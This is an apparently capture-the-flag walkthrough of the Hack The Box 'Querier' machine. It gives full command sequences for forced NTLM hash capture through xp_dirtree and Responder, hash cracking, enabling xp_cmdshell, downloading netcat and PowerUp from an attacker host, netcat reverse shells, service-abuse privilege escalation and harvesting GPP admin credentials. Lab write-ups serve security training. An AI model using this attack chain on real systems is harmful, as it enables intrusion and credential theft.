

Querier

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|   QUERIER 10.10.10.125   |
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```

InfoGathering

OPEN PORTS

```
PORT  STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
```

SQL INFORMATION

```
1433/tcp open  ms-sql-s    Microsoft SQL Server 14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
```

SMB INFORMATION

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
Reports	Disk	

Gaining Access

SMB PORT IS OPEN. LETS SEE WHAT DIRECTORIES WE CAN FIND

```
smbclient -L 10.10.10.125
```

```
root@kali:~/HTB/boxes/Querier# smbclient -L 10.10.10.125
Enter WORKGROUP\root's password:

Sharename      Type           Comment
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ADMIN$         Disk          Remote Admin
C$             Disk          Default share
IPC$           IPC           Remote IPC
Reports        Disk

Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
```

Reports is unusual as it does not have Comment next to it like the others. We check that out first.

```
smbclient \\10.10.10.125\Reports
Enter WORKGROUP\root's password:
```

```
smb: \> ls
Currency Volume Report.xlsm      A 12229 Sun Jan 27 23:21:34 2019
smb: \> get "Currency Volume Report.xlsm"
```

username: `reporting`

password: `PcwTWTWRwryjc\$c6`

LOGIN TO SQL CLIENT

```
python mssqlclient.py QUERIER/reporting:PcwTWTWRwryjc$c6@10.10.10.125 -windows-auth
root@kali:~/HTB/boxes/Querier# python mssqlclient.py QUERIER/reporting:PcwTWTWRwryjc$c6@10.10.10.125 -windows-auth
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[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
[HTB] 0:openvpn- 1:python*
```

XP_CMDSHELL CAN NOT BE TURNED ON BY THIS USER. WE SET UP RESPONDER TO TRY TO GET ANOTHER USER

```
SQL> declare @q varchar(99);set @q='\\10.10.14.2\test'; exec master.dbo.xp_dirtree @q
subdirectory
depth
-----
SQL> EXEC sp_configure 'show advanced options', 1
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
SQL>
[HTB] 0:openvpn 1:SQL* 2:responder- 3:bash
```

responder -l tun0

ISSUE THIS COMMAND IN SQL AND CHECK RESPONDER

```
declare @q varchar(99);set @q='\\10.10.14.12\test'; exec master.dbo.xp_dirtree @q
```



[+] Listening for events...

[SMBv2] NTLMv2-SSP Client : 10.10.10.125

[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc

[SMBv2] NTLMv2-SSP Hash : mssql-svc::QUERIER:

4fe9dfdefdc123f3:74C2B3BA05CC5FE218272B7443091FE6:0101000000000000C0653150DE09D2016A635

049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E00

3002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0

A9F51B796556540FEB7CCDFEB756A0A001000900200063006900

[*] Skipping previously captured hash for QUERIER\mssql-svc

[SMBv2] NTLMv2-SSP Client : 10.10.10.125

[SMBv2] NTLMv2-SSP Username : \gx

[SMBv2] NTLMv2-SSP Hash : gx:::e0fcb96f4430072c::

[*] Skipping previously captured hash for \gx

CRACK THE HASH

(If you havent already, unpack the rockyou.txt.gz file)

```
gzip -d /usr/share/wordlists/rockyou.txt.gz
```

```
john --format=netntlmv2 hash.txt --wordlist=/usr/share/worldists/rockyou.txt
```

NOTE: If you are like me and hashcat doesnt work on your machine because the developers cant make an application that works with 16Gb of RAM and GeForce Video Card and an i7 Processor 3.2Ghz you can use John. Hashcat would be great if it didnt suck.

```
hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt --force
```

HASH AFTER CRACK

username: `mssql-svc`

password: `corporate568`

To bad hashcat doesn't work for sh**. It could have cracked that.

LOGIN TO SQL WITH NEW CREDENTIALS AND TURN ON XP_CMDSHELL

```
python mssqlclient.py QUERIER/mssql-svc:corporate568@10.10.10.125 -windows-auth
```

Enter the below commands into SQL.

```
EXEC sp_configure 'show advanced options', 1
```

```
RECONFIGURE
```

```
EXEC sp_configure 'xp_cmdshell', 1
```

```
RECONFIGURE
```

```
root@kali:~/HTB/Boxes/Querier# python mssqlclient.py QUERIER/mssql-svc:corporate568@10.10.10.125 -windows-auth
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[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC sp_configure 'show advanced options', 1
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> EXEC sp_configure 'xp_cmdshell', 1
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL>
```

NOW UPLOAD FILES AND CREATE A REVERSE SHELL

Use the python Simple HTTP Server Module to server the files you want uploaded.

```
python -m SimpleHTTPServer
```

EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/nc64.exe -OutFile C:\Users\mssql-svc\nc64.exe"'
(netcat for windows)

```
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/nc64.exe -OutFile C:\Users\mssql-svc\nc64.exe"'
output
-----
NULL

SQL> EXEC xp_cmdshell 'dir C:\Users\mssql-svc'
output
-----
Volume in drive C has no label.

Volume Serial Number is FE98-F373

NULL

Directory of C:\Users\mssql-svc

NULL

03/05/2019  12:03 AM    <DIR>          .
03/05/2019  12:03 AM    <DIR>          ..
01/28/2019  11:42 PM    <DIR>          3D Objects
01/28/2019  11:42 PM    <DIR>          Contacts
01/28/2019  11:42 PM    <DIR>          Desktop
01/28/2019  11:42 PM    <DIR>          Documents
01/28/2019  11:42 PM    <DIR>          Downloads
01/28/2019  11:42 PM    <DIR>          Favorites
01/28/2019  11:42 PM    <DIR>          Links
01/28/2019  11:42 PM    <DIR>          Music
03/05/2019  12:03 AM                43,696 nc64.exe
01/28/2019  11:42 PM    <DIR>          Pictures_
[REDACTED]
```

As we can see in the image above I verified the application was uploaded. I also want to upload PowerUp.ps1

```
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8000/PowerUp.ps1 -OutFile C:
```

```
\Users\mssql-svc\PowerUp.ps1"
```

```
EXECUTE COMMANDS USING XP_CMDSHELL
```

```
SQL> EXEC xp_cmdshell 'C:\Users\mssql-svc\nc64.exe 10.10.14.2 8088 -e powershell'
```

```
SQL> EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri 10.10.14.2:8080/PowerUp.ps1 -OutFile C:\Users\mssql-svc\PowerUp.ps1"'
```

```
SQL> EXEC xp_cmdshell 'C:\Users\mssql-svc\nc64.exe 10.10.14.2 8088 -e powershell'
```

```
[HTB] 0:openvpn 1:SQL* 2:responder 3:http 4:netcat-
```

Now we have a shell!!!! No thanks to that garbage hashcat.

```
root@kali:~/HTB/boxes/Querier# nc -lvnp 8088
listening on [any] 8088 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.125] 49681
Windows PowerShell
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PS C:\Windows\system32> _
```

PWN USER FLAG

```
PS C:\Users\mssql-svc\Desktop> ls
ls
```

```
Directory: C:\Users\mssql-svc\Desktop
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	1/28/2019 12:08 AM	33	user.txt

```
PS C:\Users\mssql-svc\Desktop> Get-Content user.txt
```

```
Get-Content user.txt
```

```
c37b41bb669da345bb14de50faab3c16
```

```
PS C:\Users\mssql-svc\Desktop> _
```

```
[HTB] 0:openvpn 1:SQL- 2:responder 3:http 4:netcat*
```

type user.txt

```
c37b41bb669da345bb14de50faab3c16
```

PrivEsc

```
IMPORT POWERUP MODULE
```

```
PS C:\users\mssql-svc> Import-Module ./PowerUp.ps1
```

```
PS C:\users\mssql-svc> Get-ModifiableService
```

```
PS C:\Users\mssql-svc> Import-Module ./PowerUp.ps1
```

```
Import-Module ./PowerUp.ps1
```

```
PS C:\Users\mssql-svc> Get-ModifiableService
```

```
Get-ModifiableService
```

```
ServiceName      : UsoSvc
Path              : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName        : LocalSystem
AbuseFunction     : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart       : True
```

Now we know we can abuse the service UsoSvc so lets do it. Open another netcat listener.

```
nc -lvnp 8087
```

```
PS C:\users\mssql-svc> Invoke-ServiceAbuse -Name 'UsoSvc' -command "C:\Users\mssql-svc\nc64.exe 10.10.14.28 8087 -e powershell"
```

```
root@kali:~/HTB/boxes/Querier# nc -lvnp 8087
listening on [any] 8087 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.125] 49684
Windows PowerShell
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PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> hostname
hostname
QUERIER
PS C:\Windows\system32> _
```

```
Directory: C:\Users\Administrator\Desktop
```

Mode	LastWriteTime	Length	Name
-ar--	1/28/2019 12:08 AM	33	root.txt

```
PS C:\Users\Administrator\Desktop> Get-Content root.txt
```

```
Get-Content root.txt
```

```
b19c3794f786a1fdcf205f81497c3592
```

```
PS C:\Users\Administrator\Desktop>
```

```
[HTB] 0:openvpn 1:SQL 2:responder 3:http 4:netcat- 5:nc2*
```

```
cd C:\Users\Administrator\Desktop
```

```
type root.txt
```

```
b19c3794f786a1fdcf205f81497c3592
```

```
=====
```

OR TO GET ROOT WE CAN DO THE FOLLOWING

```
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```

```
Invoke-AllChecks
```

```
[*] Checking for cached Group Policy Preferences .xml files....
```

```
Changed : {2019-01-28 23:12:48}
```

```
UserNames : {Administrator}
```

```
NewName : [BLANK]
```

```
Passwords : {MyUnclesAreMarioAndLuigi!!!}
```

```
File : C:\ProgramData\Microsoft\Group
```

```
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
```

```
INVOKE-ALLCHECKS GIVES US ADMIN CREDENTIALS
```

```
[*] Checking for cached Group Policy Preferences .xml files....
```

```
Changed : {2019-01-28 23:12:48}
```

```
UserNames : {Administrator}
```

```
NewName : [BLANK]
```

```
Passwords : {MyUnclesAreMarioAndLuigi!!!}
```

```
File : C:\ProgramData\Microsoft\Group
```

```
username: `Administrator`
```

```
password: `MyUnclesAreMarioAndLuigi!!!`
```